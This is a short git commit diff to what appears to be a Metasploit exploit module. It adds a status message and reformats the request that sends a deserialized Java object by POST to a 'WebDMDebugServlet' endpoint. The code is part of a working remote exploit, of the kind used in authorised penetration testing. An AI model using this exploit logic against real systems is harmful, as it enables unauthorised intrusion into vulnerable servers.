Fixed indentation and added a status message printout when exploiting
parent
cf5ca78350
commit
1e8fbc3a1b
|
@ -76,11 +76,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
res = send_request_cgi(
|
||||
data = set_payload
|
||||
|
||||
print_status 'Sending deserialized Java object...'
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
|
||||
'data' => set_payload
|
||||
)
|
||||
'data' => data
|
||||
})
|
||||
end
|
||||
|
||||
def set_payload
|
||||
|
|
Loading…
Reference in New Issue